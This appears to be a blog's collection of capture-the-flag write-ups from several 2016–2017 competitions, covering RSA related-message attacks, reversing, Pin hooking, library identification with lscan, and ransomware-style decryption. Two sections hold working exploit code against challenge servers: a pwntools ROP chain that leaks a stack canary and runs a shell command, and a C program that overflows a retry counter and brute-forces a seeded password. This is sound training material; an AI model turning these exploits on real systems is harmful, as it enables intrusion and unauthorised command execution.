Hackfest CTF 2017 Quals - Unsolved tasks writeup

Hello,

This page contains a quick and dirty instructions about how to solve the most unsolved tasks proposed during the online qualification round of Hackfest CTF 2017.

For10

Contestants were given a floppy image disk. It contains an RSA public key and 2 files containing encrypted data. The first idea which comes to mind. Is to attack RSA based on the provided public key. Let me tell you that this task is not about factoring N. 
This is basically a Forensics challenge. By analyzing the given disk image using Autopsy, you will figure out that there is a deleted pyc file. recover it then de-compile it using uncompyle2 for example. You get the python source code used to encrypt the flag. flag.back.enc and flag.enc are both ciphers of the same flag message. There is a polynomial relation between flag.enc and flag.enc.bak with degree delta = (modification time of flag.bak.enc - modification time of flag.enc). You can extract the last modification time on a file using the command stat -c %X. From the source code or the public key you get the value of the exponent e which is a low exponent (e=17). All those information are enough to perform a Franklin-Reiter related message attack.
https://www.cs.unc.edu/~reiter/papers/1996/Eurocrypt.pdf

Putting all together:

import binascii

def attack(c1, c2, delta, e, n):
    PRx. = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+delta)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

c1=10880034844172469052981791827354127229154201440423217707536444121124275246552808247167392769811967751593735430970626304918553904951192398535677551360191392392281496970760292363413634300196045918122279859820711482997487437793689614968816882250170439210408797194012707019387733366266337138704878312925255380349018651556215097609065239577654468153363651645135452754680370314084422370351226585369601962995682769962753587392860582377819372826726033252701873280814818152331412339215243676390260412590225137607965050582900883048039187888344532026364624434988349989812174444666284536696245011538335356999710957542528135073762L

c2=39463595469616140341056106278714488721639802551556663492258223362811379884638910222210828207843122386187911897916522422885123110392549451346396276630934341730909294770535352243890213370011074494047289987055196276505397129219974271774997975494807052548024695212779779255245855816344174201857895717365452616172535273749132068060394195761018653420499439716635310637511445437333222723763558739215368936634293139134825229377563404156784659462606364062054161279301553482737277835985836238059169587065037432391166349986893454405408754904011582575049204307095437867550541219358723277938005278774313199760666216202954064525L

n=15929793877604817540005217755706422556240415451103581442897333688318448914859523609922869266570161946925318816229133148041811823473105336890660672558048216356825073555501217205384139536950378567155663409455849044752514801303559551039325925837885151304257575969300435144531715352163183011713024442397302405857519930659841583523130392362274727319399123369155079598742140714401273862189666598990310570111846290582020324588032118223474327870359374946268212744710908687857198555592446979871447865157913863660573414940450103192949126548027037286416891262206940627329931608106090547470907635794995575814659485634052786501803

e=17

diff = 1490369301 - 1489964508

m = attack(c1,c2, diff,e,n)

print binascii.unhexlify("%x" % int(m - 1489964508))


The flag was hackfest{r3l4t3d_m3ss4g3_4tta4k_0n_rsa_1s_th3_n3w_c00l}


Rev10

A binary without anti-debug tricks or obfuscation ... all what you have to do is reversing the algorithm
Here is my exploit


flag_enc = "sont!eslwha{eidssmrfrke}_ehs___cuoootscihmpcti_us_eeii_esf_ots"

flag = []
  
for i in range(len(flag_enc)):    
    s = flag_enc[i:i+1]
    flag.append(s)

while len(flag[0]) < len(flag_enc):
    new_str = sorted(flag);
    for i in range(len(flag)):
          flag[i] = flag[i] + new_str[i][len(new_str[i])-1:len(new_str[i])]
          if flag[i].startswith("hackfest{"):
              print flag[i]


The correct input is hackfest{compression_is_somehow_useful_to_hide_secrets!_it_is}

That's all :)

3DS CTF 2016 WAT misc400 Writeup

Hi,

In this task we were given several punching cards (DEC9 model). To solve the task I wrote a script to create a table to map each character to its corresponding code. Than I decoded the content of the punch cards. The decoded content was a FORTRAN program. I fixed the code(missing lines) and I run it to get the required value which was 3.1423405966415094.

My script:

''' dec9.card
     ________________________________________________________________
    /&-0123456789ABCDEFGHIJKLMNOPQR/STUVWXYZ:#@'="[.<(+^!$*);\],%_>?   
12 / O           OOOOOOOOO                        OOOOOO               
11|   O                   OOOOOOOOO                     OOOOOO      
 0|    O                           OOOOOOOOO                  OOOOOO
 1|     O        O        O        O                                   
 2|      O        O        O        O       O     O     O     O        
 3|       O        O        O        O       O     O     O     O           
 4|        O        O        O        O       O     O     O     O          
 5|         O        O        O        O       O     O     O     O          
 6|          O        O        O        O       O     O     O     O           
 7|           O        O        O        O       O     O     O     O            
 8|            O        O        O        O OOOOOOOOOOOOOOOOOOOOOOOO     
 9|             O        O        O        O                                 
  |__________________________________________________________________         
'''

import os

def gen_from_template():
 f = open("dec9.card")
 card = f.readlines()
 f.close()

 for i in range(5,68):   
  pcode = ""
  for j in range(2,14):
   if card[j][i] == "O":
    pcode += "y"+card[j][0:2].replace(" ","")
  print '"'+pcode+"\":"+'"'+card[1][i]+"\",\n"

pcode_template ={"y12":"&","y11":"-","y0":"0","y1":"1","y2":"2","y3":"3",
"y4":"4","y5":"5","y6":"6","y7":"7","y8":"8","y9":"9","y12y1":"A","y12y2":"B",
"y12y3":"C","y12y4":"D","y12y5":"E","y12y6":"F","y12y7":"G","y12y8":"H","y12y9":"I",
"y11y1":"J","y11y2":"K","y11y3":"L","y11y4":"M","y11y5":"N","y11y6":"O","y11y7":"P",
"y11y8":"Q","y11y9":"R","y0y1":"/","y0y2":"S","y0y3":"T","y0y4":"U","y0y5":"V",
"y0y6":"W","y0y7":"X","y0y8":"Y","y0y9":"Z","y2y8":":","y3y8":"#","y4y8":"@","y5y8":"'",
"y6y8":"=","y7y8":"\"","y12y2y8":"[","y12y3y8":".","y12y4y8":"<","y12y5y8":"(","y12y6y8":"+",
"y12y7y8":"^","y11y2y8":"!","y11y3y8":"$","y11y4y8":"*","y11y5y8":")","y11y6y8":";",
"y11y7y8":"\"","y0y2y8":"]","y0y3y8":",","y0y4y8":"%","y0y5y8":"_","y0y6y8":">",
"y0y7y8":"?"}

def decode_card(fcard):
 dec = ""
 f = open(fcard)
 card = f.readlines()
 f.close()

 for i in range(4,len(card[0])):   
  pcode = ""
  for j in range(4,16):
   if card[j][i] == "O":
    pcode += "y"+card[j][0:2].replace(" ","")
  if len(pcode):
   dec+=pcode_template[pcode]
 return dec

t = ""

path = "misc400"

for root, dirs, files in os.walk('misc400'):
 for fcard in sorted(files):
  t+=decode_card(os.path.join(path, fcard))+ " "

'''
for fcard in os.listdir(path):
        if os.path.isfile(os.path.join(path, fcard)):
  t+=decode_card(os.path.join(path, fcard))+ " "
'''

print t


The decoded program:

PROGRAM PRGM
INTEGER C,X
DOUBLE PRECISION I,R,A
DOUBLE PRECISION RES

1598 C=1337
RES=1
X=0

GO TO 5523

1599 A=1/RES
GO TO 2852

7599 A=-1/RES
GO TO 2852

2852 I=I+A
GO TO 9513

9513 RES=RES+2
X=X+1
IF(X.EQ.C) THEN
GO TO 1318
ENDIF

5523 IF(MOD(X,2).EQ.0) THEN
GO TO 1599
ELSE
GO TO 7599
END IF

1318 I=I*4
PRINT*,I

END PROGRAM PRGM

Build and run

The flag was 3DS{3.1423405966415094}

3DS CTF 2016 High Power Computing rev500 writeup

Hello,

We were given a program which is pretended to print the flag by the end of its execution. The first run gave the that it will takes days to finish the execution. The question to answer is, what makes it take this too much time ? The quick answer is simple operations such as multiplication, division, modulo,exponentiation...are made using loops. The program has several functions such as um(),feliz(),natal(), ano()... each function is responsible for a specific operation.

 The job is simply to analyse function by function, figure out what it does and simplify it using arithmetic operators or optimized functions.

 For example let's start with um() function

__uint64 um(__uint64 a1)
{
  return a1 - 42 + 43;
}

The function is just incrementing a variable. Can be just:

__uint64 um(__uint64 a1)
{
  return a1 + 1;
}

Now what functions call um() ? Let's take natal()

 __uint64 natal(__uint64 a1,  __uint64 a2)
{
   __uint64 j;
   __uint64 i;
   __uint64 v5;

  v5 = 0LL;
  for ( i = 0LL; i < a1; ++i )
    v5 = um(v5); // -> v5 + = 1;
  for ( j = 0LL; j < a2; ++j )
    v5 = um(v5); // -> v5 + = 1;
  return v5;
}

The function is just adding 2 numbers, and can be simpilified to:

 __uint64 natal(__uint64 a1,  __uint64 a2)
{
return a1 + a2;
}

We do the same, What functions use natal() ? Let's take novo()

 __uint64 novo( __uint64 a1,  __uint64 a2)
{
   __uint64 i;
   __uint64 v4;

  v4 = 0LL;
  for ( i = 0LL; i < a1; ++i )
    v4 = natal(v4, a2); // -> v4 = v4 + a2
  return v4;
}

The function is multiplying 2 numbers and Can be only:

 __uint64 novo( __uint64 a1,  __uint64 a2)
{
return a1 * a2;
}

And so on, until you got the following minified version of the program:

#include<stdio.h>
typedef unsigned long __uint64;
__uint64 modpow(__uint64 a, __uint64 b) {
//Source : https://github.com/pantaloons/RSA/blob/master/single.c
 __uint64 res = 1;
 while(b > 0) {
  if(b & 1) {
   res = (res * a) /*%c*/;
  }
  b = b >> 1;
  a = (a * a) /*%c*/;
 }
 return res;
}
int  main(int argc, const char **argv, const char **envp)
{
  __uint64 v3;
  __uint64 v4;
  __uint64 v5;
  __uint64 v6;
  __uint64 i;
  __uint64 v9;
  v9 = 0LL;
  for ( i = 0LL; i <= 0xC0DE41; ++i )
  {
    v3 = i / 0x29uLL;
    v4 = modpow(3uLL,v3);
    v5 = v4 + v9;
    v6 = v5 * i;
    v9 = v6 % 0x41DEADBABEC0FFEEuLL;
  }
  printf(
   "%04llx%04llx%04llx%04llx\n",
    (__uint64)v9 >> 48,
    (v9 & 0xFFFF00000000uLL) >> 32,
    (__uint64)((unsigned int)v9 & 0xFFFF0000) >> 16,
    (unsigned short)v9,
    i);
  return 0;
}

Run and compile prints the value 39a667347306e209 and the flag was 3DS{39a667347306e209}

That's all :)

Sharif CTF 2016 - Snake rev400 Writeup

Hi,

Intro

We finished #21 in this CTF, we didn't manage to solve many easy tasks. We are always looking for people to join the team and help us doing better results.


Only 8 teams solved this challenge that's why I decided to publish a write-up to explain how I solved it. I earned the second most points in the reverse engineering catgory by solving all the tasks and wining bonus points for 2 tasks. 

The challenge:

Given a snake game the goal is to eat all the provided foods in order to win and get the flag.

The number of foods is computed based on total used allocation units of the disk.

The first appraoch would be  take the binary and  reverse engineer the game logic, patch either the memory variable containing the score or the remaining foods.

I decided from the beginning not to go through this approach since I estimated that it will be time consuming because I need to unpack the binary and evade the anti-debug tricks present.

My idea was just simple, make the number of remaining foods 0 or negative.

How this number is calculated ? To go with more details let's first of all trace the execution of the program using procmon.



Just before typing enter to start the game we can see that there is an invoked operation (highlighted) QueryFullSizeInformationVolume 


We can conclude taht the number of remaining food us computed as follows:


Total Foods = UsedAllocationUnits = (TotalAllocationUnits - ActualAvailableAllocationUnits) * SectorsPerAllocationUnit * BytesPerSector




TotalAllocationUnits: 26214399
CallerAvailableAllocationUnits: 1599263
ActualAvailableAllocationUnits: 1599263
SectorsPerAllocationUnit: 8
BytesPerSector: 512

The number is ~100823597056 as shown in the following screenshot


Imagine if we hook or intercept this call and set the value of TotalAllocationUnits to 0 what would be the total number of food ? negative ? Win ?

Lets visualize the stack call trace around this operation.




GetDiskFreeSpaceExW function sounds a good interception point.

Referring to MSDN documentation, it retrieves information about the amount of space that is available on a disk volume, which is the total amount of space, the total amount of free space, and the total amount of free space available to the user that is associated with the calling thread.

BOOL WINAPI GetDiskFreeSpaceEx(
  _In_opt_  LPCTSTR         lpDirectoryName,
  _Out_opt_ PULARGE_INTEGER lpFreeBytesAvailable,
  _Out_opt_ PULARGE_INTEGER lpTotalNumberOfBytes,
  _Out_opt_ PULARGE_INTEGER lpTotalNumberOfFreeBytes
);


By setting lpTotalNumberOfBytes to 0 we achieve our goal. 

To do this we need to write a small C code which before GetDiskFreeSpaceEx call get pointer to lpTotalNumberOfBytes  and after the call set the value of lpTotalNumberOfBytes  to 0 using the saved pointer.


I downloaded Visual Studio, I already have pin and I wrote the following code:

#include "pin.H"

#include <fstream>
#include <iomanip>
#include <iostream>
#include <list>

char * lpDirectoryName;
ADDRINT lpFreeBytesAvailable;
ADDRINT lpTotalNumberOfBytes;
ADDRINT lpTotalNumberOfFreeBytes;

INT32 Usage()
{
 return -1;
}

VOID GetDiskFreeSpaceExWArg(CHAR * name, char *  arg1, ADDRINT arg2, ADDRINT arg3, ADDRINT arg4)
{
 lpDirectoryName = arg1;
 lpFreeBytesAvailable=  arg2;
 lpTotalNumberOfBytes = arg3;
 lpTotalNumberOfFreeBytes = arg4;
 cout << name << "(" << arg1 << ")" << arg2 << " " << arg3 << " "<< arg4 << endl;
}

VOID GetDiskFreeSpaceExWAfter(ADDRINT ret)
{
 cout << "\tReturned handle: " << ret << endl;

 *((unsigned __int64 *)lpTotalNumberOfBytes) = 0;

 cout << "\lpDirectoryName: " << lpDirectoryName << endl;
 cout << "\tlpFreeBytesAvailable: " << *((unsigned __int64 *)lpFreeBytesAvailable) << endl;
 cout << "\lpTotalNumberOfBytes: " << *((unsigned __int64 *)lpTotalNumberOfBytes) << endl;
 cout << "\lpTotalNumberOfFreeBytes: " << *((unsigned __int64 *)lpTotalNumberOfFreeBytes) << endl;


}


VOID Image(IMG img, VOID *v)
{
 RTN cfwRtn = RTN_FindByName(img, "GetDiskFreeSpaceExW");
 if (RTN_Valid(cfwRtn))
 {
  RTN_Open(cfwRtn);

  RTN_InsertCall(cfwRtn, IPOINT_BEFORE, (AFUNPTR)GetDiskFreeSpaceExWArg,
   IARG_ADDRINT, "GetDiskFreeSpaceExW",
   IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
   IARG_FUNCARG_ENTRYPOINT_VALUE, 1,
   IARG_FUNCARG_ENTRYPOINT_VALUE, 2,
   IARG_FUNCARG_ENTRYPOINT_VALUE, 3,
   IARG_END);
      RTN_InsertCall(cfwRtn, IPOINT_AFTER, (AFUNPTR)GetDiskFreeSpaceExWAfter,
   IARG_FUNCRET_EXITPOINT_VALUE, IARG_END);

  RTN_Close(cfwRtn);
 }
}


int main(int argc, char *argv[])
{
 PIN_InitSymbols();
 if (PIN_Init(argc, argv)) {
  return Usage();
 }
 IMG_AddInstrumentFunction(Image, 0);
 PIN_StartProgram();
 return 0;
}

Build and run

C:\CTF\inst>pin -t snake.dll -- snake.exe


Bingo !

We won the game with 0 points and the flag was SharifCTF{c98128632a4d6741d0f2b9d616f4af09}

Follow me on Twitter if you enjoyed this !

Thanks for reading !



Reverse Engineer a stripped binary with lscan and IDApro

Hello,

In this post I will introduce you a tool I developed during my semester project at EURECOM.

The tool is named lscan. The tool identifies libraries in statically linked/stripped binaries. lscan is useful for  reverse engineering and computer forensics also. It helps recognizing common functions in compiled binaries and determining libraries they are using. lscan uses FLIRT (Fast Library Identification and Recognition Technology) signatures to perform library identification. 

To better show you the capabilities of the tool I will try to work on a stripped binary grabbed from PwnerRank platform. 

Binary link:

# wget http://static.pwnerrank.com/repo/stripped_4b76616b6e0bbf7885e18562c9ce12f4e92dc50e.zip
# unzip stripped_4b76616b6e0bbf7885e18562c9ce12f4e92dc50e.zip
# file stripped
stripped: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=adbd10ce72c6f96ed8a77c2a666abbf4a0ffa56f, stripped

The first step as usal is importing the binary to IDApro.



As you can see none of the functions was recognized. When debugging information are stripped from the executable, reversing the code become an analysis challenges. To seperate the library code form the user code, libraries inside the binary should be identified. Time to  shouw you the power of lscan. 

If you want to use lscan, you have to install pyelftools and pefile first.


# pip install pyelftools pefile

After you successfully install the dependencies 
Then, preferably, you can download lscan by cloning the Git repository:

git clone https://github.com/maroueneboubakri/lscan.git


Now let's scan the binary against all the signature database:


# python lscan.py -S amd64/sig -f stripped
No symbol table found bin binary
amd64/sig/libm-2.13.sig 6/445 (1.35%)
amd64/sig/libpthread-2.13.sig 18/319 (5.64%)
amd64/sig/libc-2.23.sig 447/2869 (15.58%)
amd64/sig/libc-2.22.sig 420/2859 (14.69%)
amd64/sig/libssl-1.0.2h.sig 0/665 (0.00%)
amd64/sig/libm-2.23.sig 5/600 (0.83%)
amd64/sig/libc-2.13.sig 133/3369 (3.95%)
amd64/sig/libm-2.22.sig 5/582 (0.86%)
amd64/sig/libpthread-2.22.sig 18/262 (6.87%)
amd64/sig/libcrypto-1.0.2h.sig 3375/5057 (66.74%)
amd64/sig/libpcre-8.38.sig 1/150 (0.67%)
amd64/sig/libpthread-2.23.sig 19/258 (7.36%)

From the above result you can conclude that libcrypto-1.0.2h is the most probable library statically linked to the binary.
Once the libraries are identified you should import the appropriate signature files to IDA sig folder.

# cp i386/sig/libcrypto-1.0.2h.sig ../ida66/sig


Finally apply the signatures:
Shift + F5 or from the menu go to View > Open subviews > Signatures
In the "List of applied library modules" press "Insert" button  

Now locate libcrypto-1.0.2h and click Ok. You can redo the same action for libc2-23 signature.



After clicking Ok you will see the number of recognized functions. (3076 functions from libcrypto and 246 functions from libc).

Going back to IDA View tab you sill see the surprise ;) In Functions window the recognized functions are highlighted in Cyan. Now you can easily analyze the binary and get the Flag ;)



I hope this has been informative for you, and I would like to thank you for reading ;)

European Cyber Week CTF Pwn350 + Rev250 Writeup

Hi,

This time I will just publish the exploits I wrote to solve the tasks.

The QUIZZZZ - Pwn350

Leak Canary Value
Leak Stack Address (2 bytes)
Brute force the remaining byte 
ROP chain to run a commande


from pwn import *
from struct import pack
from struct import unpack


for bf in range(256):
 try:
    flag = "A"*7+"-c"
    eip = 0x08048C45
    cookie = "XYZ"
    ebp_eip = ""
    cmd = "X"*7
    for stage in range(2):
        print "[+] Stage "+str(stage+1)
        #r = remote("localhost", 8888)
        r = remote("challenge-ecw.fr", 8888)
        r.recvuntil(">")
        r.sendline("3")
        r.recvuntil("(y/n) ")
        if stage == 1:
            cookie = pack("<I",cookie)
            ebp_eip = "A"*12
            ebp_eip+= pack("<I", eip)
            ebp_eip+= pack("<I", 0x080491AF)
            ebp_eip+= pack("<I", 0x080491AF)
            ebp_eip+= pack("<I", 0x804B0D5)
            ebp_eip+= pack("<I", recv_buf + 54)
            ebp_eip+= pack("<I", 0x0804930A)
            ebp_eip+= pack("<I", 0)
            ebp_eip+= "cat flag >&4"
            ebp_eip+= pack("<I", 0)
            cmd = flag

        r.sendline("y"+cmd+cookie+ebp_eip)
        if stage == 1:
            d = r.recvall()
            if "ECW{" in d:
                print "[+] Flag: "+d
                #break
                #quit()

        r.recvline()
        leak = r.recvall()
        print leak[:100].encode("hex")
        cookie = unpack("I","\x00"+chr(bf)+leak[:2])[0]
        stack_add = unpack("I",leak[2:6])[0]
        recv_buf = stack_add - 59
        print "[+] Cookie: %x"%cookie
        print "[+] Stack add: %x"%stack_add
        print "[+] Recv buf: %x"%recv_buf
 except:
    print "NOK"


La rançon du succès - For250


Dump process and analyze binay

vol.py -f dump.mem --profile=Win7SP0x64 procdump -D dump/ -p 2656

Export Key

vol.py -f dump.mem --profile=Win7SP0x64 printkey -K "SOFTWARE\ANGRYDUCK"


Decrypt

K = [0x07, 0xDE, 0xBD, 0x66, 0x4C, 0xE7, 0x5B, 0xA3, 0x92, 0x60, 0x56, 0xC0, 0x4C, 0x3B, 0xE9, 0xE2, 0x9E, 0x5F, 0x6B, 0xCC, 0xCD, 0x4E, 0x6C, 0xA4, 0xF5, 0x05, 0x00, 0xFA, 0xFA, 0x24, 0x5B, 0x06]

f = open("flag.jpg.adk","rb")
buf = f.read()
f.close()

buf = buf[51:]
print buf.encode("hex")
buf = [ord(c) for c in buf]

S = [0]*256
for i in range(0x100):
    S[i] = i
y = 0

for i in range(0x100):
    x = S[i]
    y = (y + x + K[i & 0x1F]) & 0xFF
    z = y
    r = S[z]
    S[i] = r
    S[z] = x

j = 0
p = 0
for i in range(len(buf)):
    j +=1
    x = j & 0xff
    y = S[x]
    z = (S[x] + p) & 0xFF
    p = z
    q = z
    S[x] = S[q]
    S[q] = y
    r = S[(y + S[x]) & 0xFF]
    buf[i] ^= r

d = "".join([chr(c) for c in buf])
print d.encode("hex")
f = open("flag.jpg","wb")
f.write("".join([chr(c) for c in buf]))
f.close()



That's all

HackIt CTF 2016 : Kenya – T2Yh4RD Pwn200 writeup

Hello,

This writeup will be quick and dirty. The idea behind the challenge is about guessing a random generated password to win the game and get a shell. You lose the game after 3 bad tries.

I spent much time reversing the binary, to figure out how the password is generated, because this is the first time I deal with a Position Independent Executable.

Well, to solve the task all what we need is to guess the value used to seed the random number generator. Like this we can determine the generated password.

The seed is calculated based on current time stamp and current process id.  We don't know the pid. We have to bruteforce it. But we have only 3 tries !. Easy ! just overflow the "tries" variable buffer in stack to get infinite tries.  That's all !

Here is the exploit. Don't ask me why I wrote it in C !

#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <arpa/inet.h>

void rnds(char * s, unsigned l, unsigned int ts, unsigned int pid) {
srand(ts + pid);
int i;
for (i = 0; i < l; ++i) {
s[i] = rand() % 94 + 33;
}
s[i] = '\n';
s[i + 1] = '\0';
}

int main(void) {
int sockfd = 0, n = 0;
char buf[1024];
struct sockaddr_in serv_addr;

memset(buf, '\0', sizeof(buf));
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("\n Error : Could not create socket \n");
return 1;
}
memset( & serv_addr, '0', sizeof(serv_addr));

serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(9002);

if (inet_pton(AF_INET, "91.231.84.36", & serv_addr.sin_addr) <= 0) {
printf("\n inet_pton error occured\n");
return 1;
}

if (connect(sockfd, (struct sockaddr * ) & serv_addr, sizeof(serv_addr)) < 0) {
printf("\n Error : Connect Failed \n");
return 1;
}

//Receive a reply from the server
if (recv(sockfd, buf, 1024, 0) < 0) {
printf("\n Error : recv Failed \n");
return 1;

}

puts(buf);
char * overflow_tries = "AAAAAAAAAAAAAAAAAAAAAAAAAAAA\n";

if (send(sockfd, overflow_tries, strlen(overflow_tries), 0) < 0) {
printf("\n Error : send Failed \n");
return 1;
}

int pid;

unsigned int ts = time(0);
//unsigned int pid = getpid();

for (pid = 32000; pid < 40000; pid++) {

char guess[6];

rnds(guess, 4, ts, pid);
printf("[+] Pid %d", pid);
printf("[+] Trying %s", guess);

memset(buf, '\0', sizeof(buf));
if (recv(sockfd, buf, 1024, 0) < 0) {
printf("\n Error : recv Failed \n");
return 1;
}

if (send(sockfd, guess, strlen(guess), 0) < 0) {
printf("\n Error : send Failed \n");
return 1;
}

puts(buf);

}

return 0;
}



After few seconds I got the flag.  h4ck1t{S0M3tiM35_n33D_b2UtEf02c3}

HackIt 2016: L4bR4t-France Reverse 375 writeup

Hello,

In this task we were given a shared library “SecretLabXLib.so” and a zip file containing encrypted and plain jpeg files.

Task description:

There was some photos of unknown experiment taken in a secret lab-X for they internal archive. After that the device from which the shot was made, immediately load crypto-trigger, whose function – to ensure the confidentiality of image data (this is exactly how it should be in a super-secret laboratories?).

It is known that, due to some floating code errors, the trigger has not completed his work and not all the photos was encrypted.

We managed to get a binary, which has something to do with that crypto-trigger software.

And now we have a good chance to find out what secrets hides laboratory-X.

The first step I did is printing the symbol table of the shared library to figure out what functions are exported.

Analyzing the shared object

By running objdump -T I got mangled symbols name. De-mangling can be done using nm -C.
root@maro-vm:~/hackit/rev375# nm -C SecretLabXLib.so
... 0000000000001d0f T AddRoundKey(unsigned char (*) [4], unsigned int const*) 0000000000002b02 T MixColumns(unsigned char (*) [4]) 00000000000029c5 T InvShiftRows(unsigned char (*) [4]) 0000000000002419 T InvSubBytes(unsigned char (*) [4]) 000000000000186e T ccm_format_assoc_data(unsigned char*, int*, unsigned char const*, int) 00000000000035c5 T InvMixColumns(unsigned char (*) [4]) 000000000000174c T ccm_prepare_first_ctr_blk(unsigned char*, unsigned char const*, int, int) 0000000000001950 T ccm_format_payload_data(unsigned char*, int*, unsigned char const*, int) 00000000000019fb T SubWord(unsigned int) 00000000000017a9 T ccm_prepare_first_format_blk(unsigned char*, int, int, int, int, unsigned char const*, int) 00000000000014fd T xor_buf(unsigned char const*, unsigned char*, unsigned long) 0000000000001650 T SuperSecretLabCryptor2000::decrypt_cbc(unsigned char const*, unsigned long, unsigned char*, unsigned int const*, int, unsigned char const*) 0000000000001faa T SubBytes(unsigned char (*) [4]) 0000000000002888 T ShiftRows(unsigned char (*) [4]) 0000000000004fe0 r sbox 00000000000051e0 r gf_mul 00000000000050e0 r invsbox 0000000000004a48 T SuperSecretLabCryptor2000::decrypt(unsigned char const*, unsigned char*, unsigned int const*, int) 0000000000001554 T SuperSecretLabCryptor2000::encrypt_cbc(unsigned char const*, unsigned long, unsigned char*, unsigned int const*, int, unsigned char const*) 0000000000004498 T SuperSecretLabCryptor2000::encrypt(unsigned char const*, unsigned char*, unsigned int const*, int) 0000000000001284 T SuperSecretLabCryptor2000::init_iv() 00000000000011b0 T SuperSecretLabCryptor2000::SuperSecretLabCryptor2000() 0000000000001222 T SuperSecretLabCryptor2000::init_key() 00000000000012d0 T SuperSecretLabCryptor2000::CryptFile(char*) 0000000000001ad2 T SuperSecretLabCryptor2000::key_setup(unsigned char const*, unsigned int*, int) 00000000000011b0 T SuperSecretLabCryptor2000::SuperSecretLabCryptor2000() U operator new[](unsigned long)@@GLIBCXX_3.4
SuperSecretLabCryptor2000 class exports all methods requested to perform encryption/decryption.

It is obvious that CBC is used as mode of operation.

Still need to figure out what Cryptographic algorithm, Key length, IV and Key were used.

Before to go deeper in analysis, I would to like to mention at this level that the shared object is a white-box cryptography implementation.

How ? CryptFile method takes as argument only filename, no encryption key is specified. The key is instantiated at runtime.

What is white-box cryptography?

In few words, white-box cryptography is aimed at protecting secret keys from being disclosed in a software implementation.

The main idea is to rewrite a key-instantiated version so that all information related to the key is “hidden”.

More details in this paper: http://joye.site88.net/papers/Joy08whitebox.pdf

What encryption algorithm is implemented ?

By getting a look at substitution box (SBox) you can determine that it is related to AES.
unsigned char sbox[256] ={99, 124, 119, 123, 242, 107, 111, 197, 48...};
What is the Key length ?

Can be determined by looking at CryptFile(char*) method disassembly. The key length is passed as argument to key_setup method.
...
mov ecx, 100h ; int
...
call __ZN25SuperSecretLabCryptor20009key_setupEPKhPji

The key length is 256 bits.

What are the initialization vector (IV) and the Key ?

To make life easier for me I chose to use the library to extract the (IV, Key) rather than reversing the key_init, iv_init and setup_key functions.

Following is general overview of the encryption process.

The constructor does the following operations:

-Initializes a timestamp attribute through time function.
-Initializes key attribute through init_key method. The timestamp attribute is used here to add randomness to resulted key.
-Initializes the IV attribute using init_iv method. IV depends on initialized key (xoring with first 16 bytes of key).

CryptFile method reads the provdied file and calls key_setup method. key_setup takes the initialized key and the key length as argument and generates the final key to be used in encryption.

The content encryption is done by invoking encrypt_cbc method which takes as argument, respectively, input buffer, buffer length, output buffer, key, key length and iv.

Finally the result is written back to the file.

To perform encryption, I wrote the following C code. It is based on the provided library. It simulates SuperSecretLabCryptor2000 object creation and calls the CryptFile method.

I did it with C not with C++ ! This is ugly but for sure there is a way to import a C++ class from a shared object and use it with no header file provided.

The code also prints out the Key and IV.

My solution
#include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <dlfcn.h> #include <time.h> #include <string.h> int main(int argc, char * * argv) { void * handle; char * error; handle = dlopen("./SecretLabXLib.so", RTLD_LAZY); if (!handle) { fprintf(stderr, "%s\n", dlerror()); exit(1); } dlerror(); void * obj = malloc(64); memset(obj, 0, 64); //uint32_t ts = strtol(argv[1], NULL, 10); * (uint32_t * ) obj = 1466136077; /*time(0);*/ * (uint64_t * )(obj + 4) = 0; * (uint64_t * )(obj + 12) = 0; * (uint64_t * )(obj + 20) = 0; * (uint64_t * )(obj + 28) = 0; * (uint64_t * )(obj + 36) = 0; * (uint64_t * )(obj + 44) = 0; long( * init_key)(void * ); init_key = dlsym(handle, "_ZN25SuperSecretLabCryptor20008init_keyEv"); if ((error = dlerror()) != NULL) { fprintf(stderr, "%s\n", error); exit(1); } ( * init_key)(obj); long( * init_iv)(void * ); init_iv = dlsym(handle, "_ZN25SuperSecretLabCryptor20007init_ivEv"); if ((error = dlerror()) != NULL) { fprintf(stderr, "%s\n", error); exit(1); } ( * init_iv)(obj); //print Timestamp|Key|IV int i; for (i = 0; i < 52; i++) printf("\\x%02x", * ((char * )(obj + i)) & 0xff); printf("\n"); //crypt_file int( * crypt)(void * , char * ); crypt = dlsym(handle, "_ZN25SuperSecretLabCryptor20009CryptFileEPc"); if ((error = dlerror()) != NULL) { fprintf(stderr, "%s\n", error); exit(1); } ( * crypt)(obj, "dat.2.jpg"); printf("[+] Done\n"); dlclose(handle); return 0; }

But stop ! how can you get the correct key to decrypt the pictures ? In other words, what is the value of the correct timestamp used to generate the correct key and iv ?

I assumed that the timestamp used to encrypt the files is simply the last modification time of the encrypted file !

By runnuing:
root@maro-vm:~/hackit/rev375# stat -c %Y *
1469990552 1469990552 1475262516 (plain)
1469990552
1469990552 1469990552 1469990104 (plain)

All encrypted files have the same last modification time. Using 1469990552 in my C code does not give a valid (Key, IV) !

By opening a plain picture with a hex editor I noticed that there is Fri, 17 Jun 2016 04:01:17 as creation date in exif metadtas in addition to XCryptoPicture as software.
root@maro-vm:~/hackit/rev375# date -d "Fri, 17 Jun 2016 04:01:17" +"%s"
1466128877

Running the the code with 1466128877 timestamp gave the same encrypted header as the other encrypted pictures. It is the good one !

The correct key and iv are printed also.

Finally put all together in one python script.
from Crypto.Cipher import AES
key = "\x49\xa5\xe7\x43\xe7\xfb\x05\xef\x88\x4c\x8c\x52\x7b\x61\x9c\x7c\x6b\xe1\x83\xd1\x5b\x46\x97\x48\x50\x98\x65\xbc\x3f\xa7\x70\x68"
IV="\x22\x44\x64\x92\xbc\xbd\x92\xa7\xd8\xd4\xe9\xee\x44\xc6\xec\x14" mode = AES.MODE_CBC with open("dat.1.jpg", 'rb') as cimg:
with open("dat.1.p.jpg", 'wb') as pimg:
decryptor = AES.new(key, mode, IV=IV) img = decryptor.decrypt(cimg.read()) pimg.write(img)
Now we are able to decrypt the jpeg files and see the flag.

